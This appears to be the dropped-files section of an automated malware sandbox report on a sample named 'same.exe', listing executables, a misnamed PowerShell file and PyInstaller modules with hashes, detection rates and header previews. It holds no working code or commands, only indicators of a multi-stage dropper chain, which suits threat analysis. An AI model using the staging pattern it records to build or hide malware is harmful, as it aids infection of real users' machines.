Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2..\...\...\......\...]...\.......\...\...\..._...\...Y...\...R...\...X...\.......\...^...\.Rich..\.........................PE..L.................!................0................................................b....@A................................t".......@...................!...P......P...T...........................p...@............ ..p............................text...P........................... ..`.data...<...........................@....idata....... ......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5196288
Entropy (8bit):	5.589825373900657
Encrypted:	false
SSDEEP:	49152:mLqGG/c+hr87YDjGGY7212j8OpexYvGY8JcLExeV:4q3c+hY7Y/GGG212j8rxkGY8JcLEx6
MD5:	D9B9048BF135F96587B038A1AAF7FD9B
SHA1:	FFA7AF429D9604901BC922C6A82AEE6E311C41BF
SHA-256:	D3F6E303233AA32D6DB0A98E15B12C7479E851161E47D6BEBA528D2F28AD61BD
SHA-512:	CACE6A2F815BF7298F7685219FA291E5CA77B7A5AB6334903EF7AA10715D886651C39614FAA37A1A54B21DE29401F676969AC341ED8C08183B0AF29022A7B84D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(.......PO...........@...........................O.......O...@.................................M.$.a.....$.......................$..................................................................................... . ..$.......$.................@....rsrc.........$.......$.............@....idata ......$.......$.............@...ewuxonpg.....$......$.............@...kebipqmx.....@O......$O.............@....taggant.0...PO.."...(O.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D2HGTJLHWZ1QZ5J7AXEMDMLHKAAWIN.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe
File Type:	HTML document, ASCII text, with very long lines (945)
Category:	dropped
Size (bytes):	5659
Entropy (8bit):	5.051630879625938
Encrypted:	false
SSDEEP:	96:5puA5jKEcXrj7uDQgzhs4x3pBxu0vnx/ICu:5p9pcXr2DFzq4x3pBI8nx/ju
MD5:	43957D6FE40EF5D0BACB64E081971BEE
SHA1:	DDCF66ECE9804E1ED35423430C96E242344A9204
SHA-256:	7371F472D1113FFDD66C753EF009128A1B9C8349C09727968587F3683644247F
SHA-512:	BDB8CA06199B7F168F8FD254436D971FA5DEE02018D0AAFDF69C5BCD371C8B1486FFDDD4441B7715C0D4AB18F92071480FF7867E965534B585AF899DB55A1F21
Malicious:	true
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html>...<head>. <meta charset="utf-8">. .<title>What</title>.<link rel="canonical" href="https://rentry.co/what" />.. .<meta name="description" content="Rentry.co is a markdown paste service with preview, custom urls and editing. Fast, simple and free.">.<meta name="keywords" content="paste, markdown, publishing, markdown paste service, markdown from command line">..<meta name="twitter:card" content="summary" />.<meta name="twitter:description" content="Markdown paste service with preview, custom urls and editing." />.<meta name="twitter:title" content="Rentry.co - Markdown Paste Service" />.<meta name="twitter:site" content="@rentry_co" />.<meta name="twitter:image" content="https://rentry.co/static/icons/512.png" />..<meta property="og:url" content="https://rentry.co/" />.<meta property="og:title" content="Rentry.co - Markdown Paste Service" />.<meta property="og:description" content="Markdown paste service with preview, custom urls and editing." />.<meta p

C:\Users\user\AppData\Local\Temp\IXP000.TMP\4O211C.exe

Download File

Process:	C:\Users\user\Desktop\same.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2850304
Entropy (8bit):	6.465164934411058
Encrypted:	false
SSDEEP:	49152:kJJtBgpVF7YkXgZ/GkGDZdsfztMkbtYrQxvfDud:kTt+F7YkXO/yDZd6xYsxju
MD5:	C96F81336AD8BDAAE4ADD552570D9018
SHA1:	57A1520F41DBEA5BD734426B97A85306157F98A6
SHA-256:	569CB514F2B13DBEA223F2DF9FEA9CF8C8A66F36D292BB579DE772B2473D7C7D
SHA-512:	32B041BC79E0511141BB56D25E1EEC60E90F27B029716982786D38F1EDEB7C96797BEEC6E293C593F2239A1069C1FD72BC0FF090F82130FA360FF0C0D7875401
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ....................... ,......?,...`.................................U...i....`..D........................................................................................................... . .@... ....... ..............@....rsrc...D....`.......2..............@....idata . ...........6..............@...porhymqd. +...... +..8..............@...sherscit. ....+......X+.............@....taggant.@....+.."...\+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe

Download File

Process:	C:\Users\user\Desktop\same.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5264384
Entropy (8bit):	7.994118312477424
Encrypted:	true
SSDEEP:	98304:ZreF7sEkfc6F5gRe+qde5uGhrd+bEL4LAdw7dtPFSb4hEbwpCZR:ZA+cILde5hrIEE0mxtskm
MD5:	9B6914FF1D91D65E66EC864964314B91
SHA1:	C5890C76EDB0E78621690FE4098BBA3F34DB6AE4
SHA-256:	06EDDFC02D306F8344356FF875C2B00CA03636ED24018FB686FE3D2835056BAB
SHA-512:	A79DF7CE0B8D9D59640383E89D157D4427A4555E5DFA6239C4162F2B75B72322A7744C9479D55FE795F1DEB8EDC1411697BEEC267D7616AC3EE096C9371700F4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K..K..K...N..K...H..K...O..K...J..K..J...K...C..K.....K...I..K.Rich..K.........PE..L....`.b.................d....O.....`j............@...........................P.....KKQ...@...... ........................................O...................P.........T...............................@............................................text....c.......d.................. ..`.data...H............h..............@....idata..R............j..............@..@.rsrc.....O.......O..\|..............@..@.reloc........P......JP.............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP001.TMP\3r66R.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5196288
Entropy (8bit):	5.589825373900657
Encrypted:	false
SSDEEP:	49152:mLqGG/c+hr87YDjGGY7212j8OpexYvGY8JcLExeV:4q3c+hY7Y/GGG212j8rxkGY8JcLEx6
MD5:	D9B9048BF135F96587B038A1AAF7FD9B
SHA1:	FFA7AF429D9604901BC922C6A82AEE6E311C41BF
SHA-256:	D3F6E303233AA32D6DB0A98E15B12C7479E851161E47D6BEBA528D2F28AD61BD
SHA-512:	CACE6A2F815BF7298F7685219FA291E5CA77B7A5AB6334903EF7AA10715D886651C39614FAA37A1A54B21DE29401F676969AC341ED8C08183B0AF29022A7B84D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(.......PO...........@...........................O.......O...@.................................M.$.a.....$.......................$..................................................................................... . ..$.......$.................@....rsrc.........$.......$.............@....idata ......$.......$.............@...ewuxonpg.....$......$.............@...kebipqmx.....@O......$O.............@....taggant.0...PO.."...(O.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3527168
Entropy (8bit):	7.99010470829091
Encrypted:	true
SSDEEP:	49152:VXI2sN/QzkPoqjsU2RGFlFSnKDx0JJ4nJ2KFYGysZxX6bof+z2AEMGMbVBRj0X20:lIhqkPoqFlFsl+nBFR+z2AHGMbz1
MD5:	81771DD2B9318ACB04B8F1377C88F23A
SHA1:	99B390487002E82317C54FED378E78EF7ED9BC99
SHA-256:	E34841FAFB31702BEA1DBE3ED2E7789CD70CB55705DD573E26A88101744AC534
SHA-512:	310BA7137040122588E00259288B70B334EB6E3C8F26F6F870E0D36B2242AA365D392819E4C0F3A4A701E959011BC7974259C0C32EBE134AAB996F3F51D35736
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K..K..K...N..K...H..K...O..K...J..K..J...K...C..K.....K...I..K.Rich..K.........PE..L....`.b.................d...j5.....`j............@.......................... 6.......6...@...... .......................................K5...................6.........T...............................@............................................text....c.......d.................. ..`.data...H............h..............@....idata..R............j..............@..@.rsrc....P5......L5..\|..............@..@.reloc........6.......5.............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3183616
Entropy (8bit):	6.665662519691642
Encrypted:	false
SSDEEP:	49152:Ai+42d2hUaL9onZYntTelrt+NeKfFueiHQCO4ESN6Ug:Aj42d26aL9onZ8tTelrtOudQ7dSN
MD5:	C10552E6670650E273E4D8688D186E30
SHA1:	B11338AFF97507BE3268BD2EB1FC5A67BDA0F4B5
SHA-256:	D8AD2634C0F1E99DCD5D0DB58A57810ED39BDF5F68E3E8A4FDDD6727B66CCAE4
SHA-512:	E864BD3104B8FB2568094425310D41129EAA725DA3379251FB1599027FEE9BF60C054A26865CC4FED7FBA4C9948D2E38AAF11697B7AD198018959460CC422EE0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................0.....F.0...@.................................W...k............................0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...fjvnplhk..).......).................@...netceafy......0......n0.............@....taggant.0....0.."...r0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3133440
Entropy (8bit):	6.60240676845839
Encrypted:	false
SSDEEP:	49152:lnaws6LLLLLLLLLLLLLLLLLLLLLLLLLLLLLsmpu9zYZyZwSQBfuhAJGNno1Qj+CJ:lHsb0yYZyZEBfbgNoNJZ6
MD5:	46B9970ED9E0B2F9EA3DAA8D0BAFD525
SHA1:	A205EC1A757A4C4885C506E82E5A7D559AA301D2
SHA-256:	69EBE455F76AF6A8611D7097B240574865458D9DE0AEDDCC94935958F65334BA
SHA-512:	ACF910B3DAFD75C5BDE0FE19B9F45392915E63679F26119AC6B38015C31E3A0263244CAF587C60401DDDC6F55D237BCB624DE7409B743C84B17B2AB6F037050B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....vg.................H............/...........@...........................0.......0...@.................................Y...m....p.............................................................................................................. . .`.......`..................@....rsrc........p.......p..............@....idata .............t..............@...qbmupznt.@......2..v..............@...yjgyiihl....../......./.............@....taggant.0..../.."..../.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Log.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.598349098128234
Encrypted:	false
SSDEEP:	3:rRSFYJKXzovNsra:EFYJKDoWra
MD5:	2C11513C4FAB02AEDEE23EC05A2EB3CC
SHA1:	59177C177B2546FBD8EC7688BAD19D08D32640DE
SHA-256:	BCF3676333E528171EEE1055302F3863A0C89D9FFE7017EA31CF264E13C8A699
SHA-512:	08196AFA62650F1808704DCAD9918DA11175CD8792878F63E35F517B4D6CF407AC9E281D9B71A76E4CC1486CAD7079C56B74ECBEDB0A0F0DD4170FB0D30D2BAD
Malicious:	false
Reputation:	unknown
Preview:	....### explorer ###..[WIN]r

C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3183616
Entropy (8bit):	6.665662519691642
Encrypted:	false
SSDEEP:	49152:Ai+42d2hUaL9onZYntTelrt+NeKfFueiHQCO4ESN6Ug:Aj42d26aL9onZ8tTelrtOudQ7dSN
MD5:	C10552E6670650E273E4D8688D186E30
SHA1:	B11338AFF97507BE3268BD2EB1FC5A67BDA0F4B5
SHA-256:	D8AD2634C0F1E99DCD5D0DB58A57810ED39BDF5F68E3E8A4FDDD6727B66CCAE4
SHA-512:	E864BD3104B8FB2568094425310D41129EAA725DA3379251FB1599027FEE9BF60C054A26865CC4FED7FBA4C9948D2E38AAF11697B7AD198018959460CC422EE0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................0.....F.0...@.................................W...k............................0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...fjvnplhk..).......).................@...netceafy......0......n0.............@....taggant.0....0.."...r0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77202\Include\pyconfig.h

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	C source, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	21965
Entropy (8bit):	5.377448864783034
Encrypted:	false
SSDEEP:	384:rGbGMpOukkk8/McYuw8BsRhpuDaBUMiBaZdVsdgh3nIog:rGbGMph9TSNaaZIaZX1Iog
MD5:	12E553CC7A522452A52C4B43EF2D06FA
SHA1:	D84581A632CF5D0D124720DE0F679D52BAB49D16
SHA-256:	0655F5B86BE27C8600AB9350F6A74389ABE37D0BDC9A533B90A9BD77F068C974
SHA-512:	0C01D77E0CC9433F5E69D84E78A4B814EEE48A778512D1CE1919DCCD1F29627C0B661BCD1CD262F6FC9F9861DCFE05F50DA1107E50E0B0E92459301F64486CE7
Malicious:	false
Reputation:	unknown
Preview:	#ifndef Py_CONFIG_H..#define Py_CONFIG_H..../* pyconfig.h. NOT Generated automatically by configure.....This is a manually maintained version used for the Watcom,..Borland and Microsoft Visual C++ compilers. It is a..standard part of the Python distribution.....WINDOWS DEFINES:..The code specific to Windows should be wrapped around one of..the following #defines....MS_WIN64 - Code specific to the MS Win64 API..MS_WIN32 - Code specific to the MS Win32 (and Win64) API (obsolete, this covers all supported APIs)..MS_WINDOWS - Code specific to Windows, but all versions...MS_WINCE - Code specific to Windows CE..Py_ENABLE_SHARED - Code if the Python core is built as a DLL.....Also note that neither "_M_IX86" or "_MSC_VER" should be used for..any purpose other than "Windows Intel x86 specific" and "Microsoft..compiler specific". Therefore, these should be very rare.......NOTE: The following symbols are deprecated:..NT, USE_DL_EXPORT, USE_DL_IMPORT, DL_EXPORT, DL_IMPORT..MS_CORE_DLL.....WIN3

C:\Users\user\AppData\Local\Temp\_MEI77202\Microsoft.VC90.CRT.manifest

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1050
Entropy (8bit):	5.382088691477628
Encrypted:	false
SSDEEP:	24:2dtn3mGv+zg4NnEN4XojC6vuVWV5rcb3S:ch35+zg4i0oKWmS
MD5:	FEDFDF2256720BADEFF9205E784B5DC8
SHA1:	014F80BBB14D6F9ED5FCF0757BF2BEF1A22B3B88
SHA-256:	6373FB8261AF01506DC57DEE535A0BE800F3A59B18B0CC1E276807C746329FF6
SHA-512:	F327A925FC067D0CBF06DE57DB791906629509CEE109CB3DBCA2349901EF4E41FD8BF33B56F5FAA647388F6266174960244E4F5CCA260F218440D9A1CC4DAA9B
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">.. <noInheritable/>.. <assemblyIdentity name="Microsoft.VC90.CRT" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b" type="win32" version="9.0.30729.4940"/>.. <file hash="c27a4547fb05f4fb4a675713da9fe280405d4e7b" hashalg="SHA1" name="msvcr90.dll"/>.. <file hash="965ba7119c94a3e462b0480492a114411a85c396" hashalg="SHA1" name="msvcp90.dll"/>.. <file hash="216d23bdea36a638d68a9f9287c25008a88285ad" hashalg="SHA1" name="msvcm90.dll"/>.. <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">.. <application>.. <supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>.. <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>.. <supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>.. <supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>.. <supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>..

C:\Users\user\AppData\Local\Temp\_MEI77202\Microsoft.VC90.MFC.manifest

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	884
Entropy (8bit):	5.328852065805165
Encrypted:	false
SSDEEP:	12:TMHdtnQEmW5v+8gVuNnhSN46J4b5JL5jb5Fapv18zyiUGXwcGkVtvXV3kQ1ysyG0:2dtn3mGv+8g4NnEN4xnJfaV5rcb3S
MD5:	31F9D6D025D5208F518D6F0DCE5B9DA8
SHA1:	7C5475FFD1EB4F3B73C41375125700F4D6380EA4
SHA-256:	461A32142B53C15852B20372625EF22BCF6D62AB47D0D0936E9112A29477C56E
SHA-512:	9542F980DED6AC649C2C3845BDFD093FF841CE627420C15319CFD1C8C23484B6A5461AFED332AB52F3C2942281CB7F88A8361EE4BED4C51528D4EF05431B4B98
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">.. <noInheritable/>.. <assemblyIdentity name="Microsoft.VC90.MFC" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b" type="win32" version="9.0.21022.8"/>.. <file name="mfc90.dll"/>.. <file name="mfc90u.dll"/>.. <file name="mfcm90.dll"/>.. <file name="mfcm90u.dll"/>.. <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">.. <application>.. <supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>.. <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>.. <supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>.. <supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>.. <supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>.. </application>.. </compatibility>..</assembly>

C:\Users\user\AppData\Local\Temp\_MEI77202\_ctypes.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	92672
Entropy (8bit):	6.49118781636951
Encrypted:	false
SSDEEP:	1536:+AcD5TPbhoah4Xg++9bq0nLfkkdk9R/Ec/PnzlHUU:G3+ah4XgrJnd+/PXn5HUU
MD5:	6DAF8B55801A602F84D7D568A142459C
SHA1:	57A80CA9621B282727D45CAA5AE1C5E3C7E93F60
SHA-256:	66D0CB13569E9798B04C5D049CFF25BD4C7C8E7DDD885B62F523D90A65D0CE88
SHA-512:	ABB1C17AEA3EDB46C096CA3D8CBF74C9DCCAD36A7B83BE8CF30697760AD49F3BD3A38DC4FF1F0B715AD7996C3A23EA1C855FFFD62AF01D15935ABC73378DCC2E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................F......W......P......@.......V....Z......A......B....Rich...................PE..L......^...........!.........~......h.....................................................@.........................0@......l+..x...................................................................@*..@...............t............................text............................... ..`.rdata...@.......B..................@..@.data...l"...P... ...2..............@....reloc...............R..............@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77202\_hashlib.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1101824
Entropy (8bit):	6.872224946601528
Encrypted:	false
SSDEEP:	24576:wYeKOt9Hb/4BGjUIWbL5bEromH/1+Mb7zV+KpPoBsEeMZ1pSJx+waNJ:GQBjIwL98f7b7ZHMLpS3+waNJ
MD5:	55A29EC9721C509A5B20D1A037726CFA
SHA1:	EABA230581D7B46F316D6603EA15C1E3C9740D04
SHA-256:	DBDCF9E8CBA52043B5246AD0D234DA8BA4D6534B326BBBB28A6A391EDF6FA4CE
SHA-512:	E1A2993D4DD5F2E81F299FE158EE6D1F8EF95983113C9BEA9A087E42205FF06AC563762DE5A0B70B535EFE8CF9F980FFC14C1318AAF58DE3644277E3602E0AB3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......FX.Z.9...9...9...A...9...A...9...A...9...A...9...9...9...9...9...A...8...A...9...A...9..Rich.9..........PE..L......^...........!.....n...........r....................................... ............@.............................L....................................p......p...................................@...............P............................text....m.......n.................. ..`.rdata...^.......`...r..............@..@.data............T..................@....reloc......p.......&..............@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77202\_socket.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	6.53763754638404
Encrypted:	false
SSDEEP:	768:LRZyVeIHZOETVI+KHtjEGDqFPBesNoC+M6Le+rA8X:deOETV1KH5qFPMC7gLDJ
MD5:	3986998B3753483F8B28C721FEF6F8E4
SHA1:	2EF3C0FAC94C85276721EE2980F49B1BAFEF597D
SHA-256:	CBC23D6C2E3E2950452C7D255DA1452338301A4C9A0B09EBA83287709D2A5000
SHA-512:	258E2805440B36E20702C1447597698EF18A5A7F890CFECE55BD4F797073C87E7BDE659DB3E2474E9B998213D76E2C3D5221659C6827237E06B3B6F4B3643AE6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......AV2..7\..7\..7\..O..7\..O..7\..O..7\..7]..7\..O..7\..O..7\..O..7\..O..7\.Rich.7\.........................PE..L.....^...........!.....\...Z.......e.......p............................................@............................d...L...d...............................\|...`r..............................(...@............p..@............................text....[.......\.................. ..`.rdata..4 ...p..."...`..............@..@.data...x*.......(..................@....reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77202\_ssl.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1422336
Entropy (8bit):	6.8498093470232755
Encrypted:	false
SSDEEP:	24576:6ULSpvnsen1MiGl/hW5nGwwpMFmdLdl3Bp4vuPH5HUMecjhpXu4Fq+KpPZTx63g4:QvnZopheGwXk4i0Mo4ASgHpv5RKHjQj8
MD5:	9BE53B53C1EC6B56663F45464EDFCDE9
SHA1:	F8F5DD5640D594A2B53F5BBD12893C11CF4B7D55
SHA-256:	B572BF14CA3D3E5158B89314B6FE2129A753EDACA1958E252784561F33F9ECDA
SHA-512:	A52727B54A03246B74460A2741324B371CCAA083A4F3123FD1175A3061D3B6707DDBAAA73B3E39435CFFD8D3018EE2DEE8BAD6C58A17FAA55B6D05A3B38EE78B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................0......&......!..................6......,.:....7......4....Rich...................PE..L....^...........!......................... ............................................@..........................<..D....(............................... .......#...............................'..@............ ...............................text...7........................... ..`.rdata..$.... ......................@..@.data........@.......*..............@....reloc..\|.... ......................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77202\_tkinter.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	6.335150855710927
Encrypted:	false
SSDEEP:	768:sOWNT81C/gnCUUlUuaFVfmHZrGKcELCDOF3nNCeNXzEmSDEPY:sOWT81C/NtUu6VuZrGKcsCDOF3wIXzPX
MD5:	BC22E37BC6345F1D973718A8E0531258
SHA1:	CF80062912F529384D2BDEACCA035B7C0F69D691
SHA-256:	2001D7FD09812D0BEE6E6FD0041F59120F907634ED36DDDB13E218F31CC61A45
SHA-512:	E424DD8DB22B07E9EAB2B6FA4B977FF8C0FF19F94D3DD418EB8B88027273D276EC146A2E958D5BA649DE54E5C99260AB86DA24D8F096248F302CEEB58E610DA9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........].Y.<...<...<...D}..<...Dk..<...Dl..<...D{..<...<...<...Da..<...Dz..<...Dy..<..Rich.<..................PE..L......^...........!.....d...<.......m....................................................@.............................L...l...x...............................4...0...............................`...@............................................text....c.......d.................. ..`.rdata... ......."...h..............@..@.data...4...........................@....reloc..P...........................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77202\_win32sysloader.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	5.200731153087669
Encrypted:	false
SSDEEP:	192:tSVnGV7o5QUEZWm6UkDfvq3X7THIL3kOg:xVU5QUEz6dGLTH
MD5:	0DD18B41247AD35DC34D2B3CC8A2CCFC
SHA1:	24A71BB0FF79BD17BAC561242EAE789E58BDB8A1
SHA-256:	4305325EC0E88CE4064C97E94D16A4131D3C7689946E6936A24D0A78A5B29052
SHA-512:	8554659BCE0309FDABC1AE101963B3B4594DE028AE4E60E3BE12E157EB20AF75A7AAED6F0E042A75C8576F122CD7680DF168C710A00C5109EDE8A0FA0769096F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M.oC.............J.............................../........................Rich............PE..L....k.^...........!......................... ....;..........................`......................................P&..Z...\"..P....@..H....................P....... ..............................8!..@............ ...............................text...`........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...H....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77202\bz2.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	71168
Entropy (8bit):	6.739969664926487
Encrypted:	false
SSDEEP:	1536:Ijfp8+QhToyh3Y1rr24S1uBXTZva+j+d8S+fkPPYnLr:IbLuYlq4SuXTZva+j+yZfWC
MD5:	813C016E2898C6A2C1825B586DE0AE61
SHA1:	7113EFCCCB6AB047CDFDB65BA4241980C88196F4
SHA-256:	693DFC5CCB8555A4183D4E196865EF0A766D7E53087C39059D096D03D6F64724
SHA-512:	DBB4ADD301EA127669D5DAC4226CE0F5D6E5B2E50773DB5C8083A9045A3CBA0FCF6EA253A1183A4C87752BD3C5EB84128103A6D8ADE71A7E410831B826D323AD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
